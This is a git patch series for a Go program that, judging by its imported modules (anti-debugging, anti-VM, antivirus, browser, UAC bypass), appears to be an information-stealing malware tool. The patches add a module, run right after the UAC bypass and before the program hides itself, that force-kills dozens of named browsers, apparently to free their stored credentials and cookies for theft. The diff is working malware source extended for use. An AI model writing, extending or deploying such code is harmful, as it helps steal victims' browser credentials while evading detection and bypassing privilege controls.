From 5606f95d315b966b65fa1fa32a584c7a5d3dba9c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9D=D0=B5=D0=B0-=D0=BD=D0=B5=D0=B0?= <152399112+Batcherss@users.noreply.github.com> Date: Sat, 5 Apr 2025 18:49:11 +0300 Subject: [PATCH 1/3] Update main.go --- main.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/main.go b/main.go index 105f798..4740f64 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "github.com/hackirby/skuld/modules/antidebug" + "github.com/hackirby/skuld/modules/processkill" "github.com/hackirby/skuld/modules/antivm" "github.com/hackirby/skuld/modules/antivirus" "github.com/hackirby/skuld/modules/browsers" @@ -44,6 +45,7 @@ func main() { } uacbypass.Run() + processkill.Run() hideconsole.Run() program.HideSelf() From dae62154f3aa2668d1d392076d77fe34cc7d915a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9D=D0=B5=D0=B0-=D0=BD=D0=B5=D0=B0?= <152399112+Batcherss@users.noreply.github.com> Date: Sat, 5 Apr 2025 18:49:37 +0300 Subject: [PATCH 2/3] Create processkill.go --- modules/processkill/processkill.go | 46 ++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 modules/processkill/processkill.go diff --git a/modules/processkill/processkill.go b/modules/processkill/processkill.go new file mode 100644 index 0000000..c5988a3 --- /dev/null +++ b/modules/processkill/processkill.go @@ -0,0 +1,46 @@ +package process + +import ( + "os/exec" + "strings" + "time" +) + +func seqStop(processName string) { + cmd := exec.Command("cmd", "/C", "taskkill", "/F", "/IM", processName+".exe") + cmd.Run() +} + +func procCheck(processName string) bool { + cmd := exec.Command("cmd", "/C", "tasklist", "/FI", "IMAGENAME eq "+processName+".exe") + output, err := cmd.Output() + if err != nil { + return false + } + return strings.Contains(string(output), processName+".exe") +} + +func recheck(processName string) { + seqStop(processName) + time.Sleep(1 * time.Second) + if procCheck(processName) { + seqStop(processName) + } +} + +func Run() { + browserProcesses := []string{ + "360chrome", "360se", "avant", "brave", "chrome", "chromium", "citrio", + "comodo_dragon", "coolnovo", "coowon", "cyberfox", "deepnet", "dooble", + "epic", "firefox", "iceweasel", "iridium", "k-meleon", "maxthon", + "msedge", "netscape", "opera", "palemoon", "safari", "seamonkey", + "sleipnir", "sputnik", "torch", "ucbrowser", "vivaldi", "waterfox", + "yandex", "yandexbrowser", "operagx", + } + + for _, processName := range browserProcesses { + if procCheck(processName) { + recheck(processName) + } + } +} From 9c2583395ce3c15923a06078cc73c8d5317d7a41 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9D=D0=B5=D0=B0-=D0=BD=D0=B5=D0=B0?= <152399112+Batcherss@users.noreply.github.com> Date: Sat, 5 Apr 2025 18:54:14 +0300 Subject: [PATCH 3/3] Update processkill.go --- modules/processkill/processkill.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/processkill/processkill.go b/modules/processkill/processkill.go index c5988a3..2afc8c5 100644 --- a/modules/processkill/processkill.go +++ b/modules/processkill/processkill.go @@ -1,4 +1,4 @@ -package process +package processkill import ( "os/exec"